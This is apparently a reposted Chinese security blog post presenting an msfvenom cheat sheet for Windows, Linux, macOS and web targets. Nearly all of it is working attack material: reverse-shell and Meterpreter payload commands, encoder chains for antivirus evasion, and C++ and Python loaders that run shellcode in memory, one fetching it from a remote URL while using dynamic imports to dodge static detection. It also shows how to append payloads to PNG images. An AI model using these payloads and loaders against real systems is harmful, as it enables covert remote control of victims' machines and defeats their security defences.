与 msfvenom 的最后一支舞

2024年11月7日17:15:58评论4 views字数 13650阅读45分30秒阅读模式

与 msfvenom 的最后一支舞

msfvenom是 Metasploit 框架内的一个多功能有效载荷生成器和编码器工具，对于在渗透测试和红队演习中制作恶意有效载荷至关重要。它将msfpayload和msfencode的功能整合到一个精简的工具中，使安全专业人员能够创建与各种目标平台（包括 Windows、Linux、Android 等）兼容的自定义有效载荷。通过利用 msfvenom，攻击者可以生成能够利用漏洞、提升权限或建立命令和控制通道的有效载荷，模拟真实的攻击场景。它与 Metasploit 的漏洞利用模块兼容，使其成为根据特定威胁定制攻击的强大工具。

在 MITRE ATT&CK 技术中，msfvenom 在执行多种策略方面发挥着关键作用，特别是在执行 (T1059)、持久性 (T1547)和防御规避 (T1027)方面。例如，攻击者可以生成编码或混淆的有效载荷来绕过防病毒解决方案等安全防御措施，从而有效地模拟混淆和二进制填充等技术。此外，msfvenom 还用于提供远程访问工具，这与 MITRE ATT&CK 的远程访问软件 (T1219)技术相一致，可以对系统漏洞进行全面评估。

基本 Meterpreter 负载（32 位 Windows）

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f exe > shell.exe

此命令会为 32 位 Windows 生成反向 TCP Meterpreter 负载。一旦在目标系统上执行，它就会启动与攻击者机器的反向连接。

PowerShell 反向 Shell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<attacker_ip> LPORT=<port> -e cmd/powershell_base64 -i 3 -f raw > shell.ps1

该有效载荷利用 PowerShell 建立反向 shell，并经过编码以绕过基本的安全过滤器，使其成为对 Windows 目标进行后期利用的隐秘选项。

64位Meterpreter有效负载

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f exe > shell.exe

Meterpreter 负载的 64 位版本，用于针对现代 Windows 操作系统确保兼容性和对受害者机器的控制。

Windows MessageBox Shellcode

此有效负载通常用于测试 shellcode 的执行。它生成的 shellcode 会在 Windows 系统上显示一个 MessageBox，以直观的方式确认代码已执行。

msfvenom -p windows/messagebox TEXT="Hello" TITLE="Test" -f c

有效载荷-p windows/messagebox会创建一个 Windows 消息框，其中显示“Hello”，标题为“Test”。
这种类型的 shellcode 用于确保 shellcode 执行机制正常工作，通常作为漏洞利用开发测试阶段的一部分。
该-f c选项以 C 格式输出 shellcode，可以将其编译并注入到有漏洞的进程中进行测试。

64位Linux反向Shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f elf > shell.elf

这将为 64 位 Linux 系统生成一个反向 TCP shell。一旦部署到目标上，它就会重新连接到攻击者的系统，提供命令执行功能。

Linux 32 位有效负载

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f elf > shell.elf

Linux Meterpreter 反向 shell 的 32 位变体，针对较旧或轻量级的 Linux 发行版。

macOS 反向 Shell 负载

使用该格式为 macOS 创建一个反向 TCP shell macho，并生成一个 Mach-O 文件以在 macOS 上建立反向 shell。

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f macho > shell.macho

PHP Webshell

msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw > shell.php

适用于 PHP 环境的基于 Web 的反向 shell。可将其上传到易受攻击的 Web 服务器以获取对目标的控制权。

JSP Webshell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw > shell.jsp

为 Java 环境制作的反向 shell，通常针对在 JSP（Java 服务器页面）服务器上运行的 Web 应用程序。

JAR

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 W > text.jar

与 msfvenom 的最后一支舞

带编码的 HTTPS Meterpreter 负载

msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_ip> LPORT=<port> -f exe > shell.exe

使用 HTTPS 进行通信会使网络安全解决方案更难检测到有效负载。添加编码可以通过混淆有效负载来绕过防病毒解决方案。

加密反向 Shell（RC4）

msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=<attacker_ip> LPORT=<port> RC4PASSWORD=<password> -f exe > shell.exe

RC4 加密为有效载荷和处理程序之间提供了安全通信，使其对安全检测机制更具弹性。

shikata_ga_nai

为了避免被防病毒软件检测，可以对有效载荷进行编码。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -f exe > encoded_shell.exe

有效载荷使用shikata_ga_nai编码器进行编码，编码过程重复三次，使防病毒解决方案更难检测到。

nop_sled_shell

在负载之前插入 NOP sdeck 以实现可靠执行，并添加 16 字节 NOP sled 以确保负载顺利执行。

msfvenom -p linux/x64/meterpreter/reverse_tcp -n 16 -f elf > nop_sled_shell.elf

使用 Bad Character Remove 自定义 shellcode

将 shellcode 注入易受攻击的应用程序时，某些字符（例如 null bytes ）可能会导致有效负载执行出现问题。msfvenom 允许您指定要从生成的 shellcode 中排除的 “bad characters”。

msfvenom -p windows/shell_reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -b 'x00x0ax0d' -f c

该选项指示 msfvenom 避免在生成的 shellcode 中使用空字节（）、换行符（）和回车符（）。
这在处理缓冲区溢出时尤其重要，因为这些字符可能会干扰 shellcode 的执行或触发提前终止。
该选项以 C 格式输出生成的 shellcode，以准备嵌入到漏洞利用中。

生成与 ASM 兼容的 shellcode

您可以使用 msfvenom 以与汇编兼容的格式生成 shellcode，这在用汇编语言编写漏洞时特别有用。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f asm

该选项以汇编格式输出有效负载，可以直接在汇编程序中使用或在手动 shellcode 制作期间使用。
这对于使用汇编语言编写自定义 shellcode 并需要将其注入易受攻击的应用程序的漏洞利用开发人员非常有用。

XOR 编码

我们可以使用简单的 XOR 编码方案来混淆 shellcode。下面是一个 XOR 加密 shellcode 的 Python 脚本：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.x.x LPORT=4444 -f c

# xor.py - Encrypt shellcode with XOR
import sys
from argparse import ArgumentParser

def xor_shellcode(key, shellcode):
return ''.join([chr(ord(c) ^ key) for c in shellcode])

if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("-i", "--input", required=True, help="Input shellcode file")
parser.add_argument("-o", "--output", required=True, help="Output encrypted file")
parser.add_argument("-k", "--key", type=int, default=0xAA, help="XOR key")
args = parser.parse_args()

with open(args.input, 'rb') as infile:
shellcode = infile.read()

encrypted_shellcode = xor_shellcode(args.key, shellcode)
with open(args.output, 'wb') as outfile:
outfile.write(encrypted_shellcode)

加密 shellcode：

python xor.py -i payload.bin -o encrypted_shellcode.bin -k 10

修改 C++ 执行代码，解密并执行 shellcode：

for (int i = 0; i < sizeof(buf); i++) {
    buf[i] ^= 10; // XOR decrypt
}

编译并执行。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/xor_dynamic -f exe -o xor_encoded.exe

RC4 Encryption

RC4 是另一种加密 shellcode 以逃避检测的方法。下面是用于解密和执行 RC4 加密的 shellcode 的 C++ 实现。

#include <Windows.h>
#include <stdio.h>

unsigned char s[256];
void rc4_init(unsigned char* key, int key_len) {
    int i, j = 0;
    for (i = 0; i < 256; i++) s[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + key[i % key_len]) % 256;
        unsigned char temp = s[i];
        s[i] = s[j];
        s[j] = temp;
    }
}

void rc4_crypt(unsigned char* data, int data_len) {
    int i = 0, j = 0;
    for (int k = 0; k < data_len; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        unsigned char temp = s[i];
        s[i] = s[j];
        s[j] = temp;
        data[k] ^= s[(s[i] + s[j]) % 256];
    }
}

int main() {
    unsigned char key[] = "encryptionkey";
    rc4_init(key, sizeof(key)-1);

    unsigned char shellcode[] = { /* Your RC4 encrypted shellcode here */ };
    rc4_crypt(shellcode, sizeof(shellcode));

    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
}

SSL to encrypt

我们将为 Windows x64 生成反向 HTTPS Meterpreter 负载。有效负载将以十六进制格式编码并写入文件（）。此外，我们将使用 PayloadUUIDTracking 来跟踪有效负载，方法是为其分配 UUID （）和 SSL 来加密与处理程序的通信。

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt

指定 64 位 Windows 的反向 HTTPS Meterpreter 负载。
攻击者计算机的 IP 地址（根据您的设置进行更改）。
击者计算机上的侦听端口。
使用 SSL 证书进行安全通信。
将名称 “henry” 分配给负载以进行跟踪。
将输出格式指定为十六进制字符串。
将 shellcode 写入。

使用动态 API 调用执行 Shellcode

我们将实现一个 C++ 程序，该程序从文件或远程 URL 读取生成的 shellcode，使用动态分配可执行内存，并通过使用 lazy_importer 动态调用 API 函数来执行 shellcode，同时绕过安全检查。

此代码从中读取 shellcode，将十六进制字符串转换为字节，然后从内存中执行它。

#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>

using namespace std;

// Convert a single hex character to a byte
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') return character - '0';
    if (character >= 'a' && character <= 'f') return character - 'a' + 10;
    if (character >= 'A' && character <= 'F') return character - 'A' + 10;
    return 0;
}

// Convert hex string to byte array
void hexStringToBytes(const string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

int main() {
    ifstream file("shellcode_hex.txt");
    string contents;
    size_t size;

    // Check if file is open
    if (file.is_open()) {
        stringstream buffer;
        buffer << file.rdbuf(); // Copy file content to buffer
        contents = buffer.str(); // Convert buffer to string
        size = contents.length() / 2; // Hex string, divide by 2 for byte size
        file.close();
    }

    // Allocate memory for shellcode
    unsigned char* buffer = (unsigned char*)malloc(size);
    hexStringToBytes(contents, buffer, size);

    // Allocate executable memory and copy shellcode
    void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buffer, size);

    // Execute shellcode
    ((void(*)())exec)();

    free(buffer);
    return 0;
}

hexStringToBytes：将十六进制字符串转换为字节数组。
VirtualAlloc：分配具有可执行权限的内存区域（）。
memcpy：将 shellcode 复制到分配的内存中。
然后，通过将内存区域强制转换为函数指针并调用它来执行 shellcode。

来自远程 URL 的 shellcode（绕过静态分析）

此示例从远程 URL 获取 shellcode 并执行它。该代码使用 WinINet API 下载十六进制编码的 shellcode 和 lazy_importer 以动态调用函数，绕过检测。

#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <vector>
#include "lazy_importer.hpp"

using namespace std;

// Convert hex character to byte
unsigned char hexCharToByte(char character) {
    if (character >= '0' && character <= '9') return character - '0';
    if (character >= 'a' && character <= 'f') return character - 'a' + 10;
    if (character >= 'A' && character <= 'F') return character - 'A' + 10;
    return 0;
}

// Convert hex string to byte array
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
    for (int i = 0; i < hexString.length(); i += 2) {
        byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
    }
}

// Download hex-encoded shellcode from URL and convert to byte array
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD contentLength = 0;
    DWORD bufferLength = sizeof(contentLength);

    hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) return 0;

    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        InternetCloseHandle(hInternet);
        return 0;
    }

    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, nullptr);
    std::vector<char> hexBuffer(contentLength + 1, 0);

    if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) return 0;
    hexBuffer[bytesRead] = '�';

    buffer.resize(bytesRead / 2);
    hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);

    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    return bytesRead / 2;
}

int main() {
    LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";
    std::vector<unsigned char> buffer;
    size_t size = GetUrl_HexContent(url, buffer);

    char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buffer.data(), size);

    ((void(*)())exec)();
    return 0;
}

Lazy Importer：动态导入以避免被防病毒软件检测到静态。
WinINet：从远程服务器获取 shellcode （）。

十六进制编码

您可以用十六进制对有效负载进行编码，使其对防病毒检测更加模糊：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e generic/none -f hex

该标志指定编码器（表示除十六进制外没有特定编码）。

执行

生成十六进制编码的有效负载后，您需要解码并执行它。执行十六进制有效负载的一种简单方法包括将十六进制转换回二进制，并通过 C 或 Python 等语言的内存注入来执行它。

Python 示例：

import binascii
import ctypes

# Hex-encoded payload
shellcode = binascii.unhexlify("your_hex_encoded_payload")

# Allocate executable memory
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))

# Execute the shellcode
handle = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

call4_dword_xor

基于 XOR 并调用 DWORD 地址。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -f c

bloxor

基于 Block XOR 的编码器。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor -f exe

jmp_call_additive

使用 jump 和 call 指令进行编码。

msfvenom -p linux/x86/meterpreter_reverse_tcp -e x86/jmp_call_additive -f elf

context_cpuid

使用 CPUID 指令进行编码以逃避检测。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/context_cpuid -f exe

alpha_mixed

字母数字编码器，有助于绕过某些过滤器。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/alpha_mixed -f raw

avoid_utf8_tolower

避免 UTF-8 转换问题。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/avoid_utf8_tolower -f c

对有效负载进行编码后，以下是一些执行方法：

直接执行：如果有效负载打包为可执行文件（例如 -f exe），则可以直接在目标系统上执行它。

使用 alpha_mixed：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/alpha_mixed -f exe -o alpha_mixed.exe

使用 avoid_utf8_tolower：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/avoid_utf8_tolower -f exe -o avoid_utf8_tolower.exe

然后，您可以直接在目标计算机上执行生成的 .exe 文件：

# On the target system
./alpha_mixed.exe
# Or
./avoid_utf8_tolower.exe

内存注入：如果您生成了原始 shellcode（-f raw 或 -f c），请使用 C、Python 或其他允许系统级内存管理的语言（例如，适用于 Windows 的 VirtualAlloc 和 CreateThread）将其注入内存。

如果您想使用 Python 等编程语言将原始 shellcode 注入内存，请执行以下步骤。

使用alpha_mixed：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/alpha_mixed -f raw > alpha_mixed.raw

使用 avoid_utf8_tolower：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -e x86/avoid_utf8_tolower -f raw > avoid_utf8_tolower.raw

这是一个 Python 脚本，它将从文件中读取原始 shellcode 并在内存中执行它。

import ctypes
import os

def execute_shellcode(shellcode):
    # Allocate memory for the shellcode
    shellcode_ptr = ctypes.windll.kernel32.VirtualAlloc(
        None, len(shellcode), 0x3000, 0x40)

    # Move the shellcode to the allocated memory
    ctypes.windll.kernel32.RtlMoveMemory(shellcode_ptr, shellcode, len(shellcode))

    # Create a thread to execute the shellcode
    thread_handle = ctypes.windll.kernel32.CreateThread(
        None, 0, shellcode_ptr, None, 0, None)

    # Wait for the thread to finish
    ctypes.windll.kernel32.WaitForSingleObject(thread_handle, -1)

if __name__ == "__main__":
    # Load the shellcode from the raw file
    with open("alpha_mixed.raw", "rb") as f:
        shellcode = f.read()

    execute_shellcode(shellcode)

内存分配：该脚本使用 VirtualAlloc 分配可执行内存。
移动内存：然后，它使用 RtlMoveMemory 将 shellcode 复制到分配的内存中。
创建线程：shellcode 使用 CreateThread 在新线程中执行。
执行：WaitForSingleObject 函数用于等待线程完成执行。
漏洞利用框架：将编码的有效负载加载到 Metasploit 或其他框架中以进行自动利用：

使用 msfvenom 的有效负载 PNG 文件

Metasploit 还提供了使用 msfvenom 在 PNG 图像文件中嵌入有效负载的功能。这种技术称为隐写术，对于逃避检测和社会工程攻击特别有用。

要使用 msfvenom 创建负载 PNG，您可以使用类似于以下内容的命令：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f raw -o payload.raw
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 3 -f raw | cat >payload.raw
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe > payload.exe

然后，使用以下命令将有效负载嵌入到 PNG 图像中：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 3 -f raw | cat >payload.raw
cat payload.raw >> image.png

如何运作

将生成有效负载并对其进行编码。
编码的有效负载将附加到合法 PNG 文件的末尾。
生成的文件是可以正常打开的有效 PNG 图像，但也包含隐藏的有效负载。

执行 Payload

要执行隐藏在 PNG 中的有效负载，您通常会使用单独的加载程序或脚本：

读取 PNG 文件
提取附加的有效负载数据
在内存中执行有效负载

原文始发于微信公众号（Ots安全）：与 msfvenom 的最后一支舞

左青龙
微信扫一扫

右白虎
微信扫一扫

与 msfvenom 的最后一支舞

实战|记一次溯源真实案例

C# Assembly.LoadFrom()反射案列

某远OA漏洞调试环境搭建

HEVD系列之栈溢出

干货 | Weblogic 漏洞汇总（建议收藏）

Spring环境下有关内存马的回显总结

误将磁盘格式化的应急响应

nmap脚本详解

hard_socnet2靶场实战

JDK-Xalan的XSLT整数截断漏洞利用构造

发表评论

在线咨询

微信